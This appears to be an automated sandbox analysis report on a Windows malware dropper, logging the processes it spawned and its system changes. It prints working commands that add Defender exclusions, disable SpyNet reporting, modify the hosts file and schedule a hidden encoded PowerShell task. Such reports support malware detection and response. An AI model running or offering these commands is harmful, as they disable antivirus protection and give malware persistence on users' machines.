            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            .NET source code references suspicious native API functions
            Source: file.exe, yxwnHC9.csReference to suspicious API methods: LoadLibrary(IebLsglFn4WrJcUGo)
            Source: file.exe, yxwnHC9.csReference to suspicious API methods: GetProcAddress(_51AatpG86Je0ycwxlui9XFT, t7YvAjm5RNZCcrdwH)
            Source: file.exe, qgt1vdYs4pGOXLQSPHZ.csReference to suspicious API methods: VirtualProtect(intPtr, (uint)array.Length, 64u, out var AVdUg1jZDhRG3nrJWMSvHe)
            Modifies the hosts file
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeFile written: C:\Windows\System32\drivers\etc\hosts
            Modifies Windows Defender protection settings
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&Jump to behavior
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
            Disables Windows Defender (deletes autostart)
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeRegistry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{B63B5C26-9D9A-45CD-9FC0-F449F4174656}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware
            Adds extensions / path to Windows Defender exclusion list
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe c:\users\user\pictures\r1o81gotkkd0pfsduighgcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2d0,0x300,0x6cf674f0,0x6cf67500,0x6cf6750c
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe "c:\users\user\pictures\r1o81gotkkd0pfsduighgcl2.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="c:\users\user\appdata\local\programs\opera" --profile-folder --language=en-gb --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=2284 --package-dir-prefix="c:\users\user\appdata\local\temp\.opera\opera installer temp\opera_package_20231121151234" --session-guid=0bda333d-4994-4b67-9b59-0f927372c94a --server-tracking-blob=zduxmweyyzqyymu3yjnmmdi3nzrlnwm2ytg1yzy1mzdlngq4zgexmzhjnzg4mgqymthimzi4ogvlzwiyntvmndp7imnvdw50cnkioijvuyisimluc3rhbgxlcl9uyw1lijoit3blcmftzxr1cc5leguilcjwcm9kdwn0ijp7im5hbwuioijvcgvyysj9lcjxdwvyesi6ii9vcgvyys9zdgfibguvd2luzg93cy8/dxrtx21lzgl1bt1hcgimdxrtx3nvdxjjzt1ta3qmdxrtx2nhbxbhawduptc2nyisinn5c3rlbsi6eyjwbgf0zm9ybsi6eyjhcmnoijoiedg2xzy0iiwib3bzexmioijxaw5kb3dziiwib3bzexmtdmvyc2lvbii6ijewiiwicgfja2fnzsi6ikvyrsj9fswidgltzxn0yw1wijoimtcwmdu3ntk0os4ynziziiwidxrtijp7imnhbxbhawduijoinzy3iiwibwvkaxvtijoiyxbiiiwic291cmnlijoibwt0in0sinv1awqioii5zjzlmmvjms0wnzbjltrmywetodc4os01zweymjq2ndhkmtuifq== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=7005000000000000
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe c:\users\user\pictures\r1o81gotkkd0pfsduighgcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6c4774f0,0x6c477500,0x6c47750c
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe c:\windows\system32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\exclusions\extensions\" /f /v \"exe\" /t reg_sz /d 0 /reg:32&reg add \"hklm\software\policies\microsoft\windows defender\exclusions\extensions\" /f /v \"exe\" /t reg_sz /d 0 /reg:64&
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe c:\windows\system32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\spynet\" /f /v \"spynetreporting\" /t reg_dword /d 0 /reg:32&reg add \"hklm\software\policies\microsoft\windows defender\spynet\" /f /v \"spynetreporting\" /t reg_dword /d 0 /reg:64&
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeProcess created: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe c:\users\user\pictures\opqtdtfbxwlk6znimrd995xd.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6b3d74f0,0x6b3d7500,0x6b3d750c
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "gxuhwmamn" /sc once /st 08:40:27 /f /ru "user" /tr "powershell -windowstyle hidden -encodedcommand cwb0ageacgb0ac0acabyag8aywblahmacwagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiabnahaadqbwagqayqb0agualgblahgazqagac8azgbvahiaywblaa=="
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\SysWOW64\forfiles.exe c:\windows\system32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\spynet\" /f /v \"spynetreporting\" /t reg_dword /d 0 /reg:32&reg add \"hklm\software\policies\microsoft\windows defender\spynet\" /f /v \"spynetreporting\" /t reg_dword /d 0 /reg:64&Jump to behavior
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe c:\users\user\pictures\r1o81gotkkd0pfsduighgcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2d0,0x300,0x6cf674f0,0x6cf67500,0x6cf6750c
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe "c:\users\user\pictures\r1o81gotkkd0pfsduighgcl2.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="c:\users\user\appdata\local\programs\opera" --profile-folder --language=en-gb --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=2284 --package-dir-prefix="c:\users\user\appdata\local\temp\.opera\opera installer temp\opera_package_20231121151234" --session-guid=0bda333d-4994-4b67-9b59-0f927372c94a --server-tracking-blob=zduxmweyyzqyymu3yjnmmdi3nzrlnwm2ytg1yzy1mzdlngq4zgexmzhjnzg4mgqymthimzi4ogvlzwiyntvmndp7imnvdw50cnkioijvuyisimluc3rhbgxlcl9uyw1lijoit3blcmftzxr1cc5leguilcjwcm9kdwn0ijp7im5hbwuioijvcgvyysj9lcjxdwvyesi6ii9vcgvyys9zdgfibguvd2luzg93cy8/dxrtx21lzgl1bt1hcgimdxrtx3nvdxjjzt1ta3qmdxrtx2nhbxbhawduptc2nyisinn5c3rlbsi6eyjwbgf0zm9ybsi6eyjhcmnoijoiedg2xzy0iiwib3bzexmioijxaw5kb3dziiwib3bzexmtdmvyc2lvbii6ijewiiwicgfja2fnzsi6ikvyrsj9fswidgltzxn0yw1wijoimtcwmdu3ntk0os4ynziziiwidxrtijp7imnhbxbhawduijoinzy3iiwibwvkaxvtijoiyxbiiiwic291cmnlijoibwt0in0sinv1awqioii5zjzlmmvjms0wnzbjltrmywetodc4os01zweymjq2ndhkmtuifq== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=7005000000000000
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe c:\users\user\pictures\r1o81gotkkd0pfsduighgcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6c4774f0,0x6c477500,0x6c47750c
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe c:\windows\system32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\exclusions\extensions\" /f /v \"exe\" /t reg_sz /d 0 /reg:32&reg add \"hklm\software\policies\microsoft\windows defender\exclusions\extensions\" /f /v \"exe\" /t reg_sz /d 0 /reg:64&
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe c:\windows\system32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\spynet\" /f /v \"spynetreporting\" /t reg_dword /d 0 /reg:32&reg add \"hklm\software\policies\microsoft\windows defender\spynet\" /f /v \"spynetreporting\" /t reg_dword /d 0 /reg:64&
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "gxuhwmamn" /sc once /st 08:40:27 /f /ru "user" /tr "powershell -windowstyle hidden -encodedcommand cwb0ageacgb0ac0acabyag8aywblahmacwagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiabnahaadqbwagqayqb0agualgblahgazqagac8azgbvahiaywblaa=="
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeProcess created: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe c:\users\user\pictures\opqtdtfbxwlk6znimrd995xd.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6b3d74f0,0x6b3d7500,0x6b3d750c
            Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\file.exe" -ForceJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe "C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe "C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe" --silent --allusers=0Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe "C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exe "C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe "C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe "C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exe "C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe "C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe" --silent --allusers=0Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\TNpJBjREJ9Gyf03FTGsVwgMm.exe "C:\Users\user\Pictures\TNpJBjREJ9Gyf03FTGsVwgMm.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\6Y6HZLXw0Y38mRwaQb51f9Xr.exe "C:\Users\user\Pictures\6Y6HZLXw0Y38mRwaQb51f9Xr.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe "C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exe "C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\HLT0AIxjEwuNSfgdyWiT3ueK.exe "C:\Users\user\Pictures\HLT0AIxjEwuNSfgdyWiT3ueK.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe "C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe" --silent --allusers=0Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\loKi89nha4JKgsufhuKQ22oF.exe "C:\Users\user\Pictures\loKi89nha4JKgsufhuKQ22oF.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe "C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exe "C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4aBHXrK8XjSbEjiL1WIQ7Kmf.bat" "Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2d0,0x300,0x6cf674f0,0x6cf67500,0x6cf6750c
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe "C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=2284 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231121151234" --session-guid=0bda333d-4994-4b67-9b59-0f927372c94a --server-tracking-blob=ZDUxMWEyYzQyYmU3YjNmMDI3NzRlNWM2YTg1YzY1MzdlNGQ4ZGExMzhjNzg4MGQyMThiMzI4OGVlZWIyNTVmNDp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwMDU3NTk0OS4yNzIzIiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiI5ZjZlMmVjMS0wNzBjLTRmYWEtODc4OS01ZWEyMjQ2NDhkMTUifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=7005000000000000
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
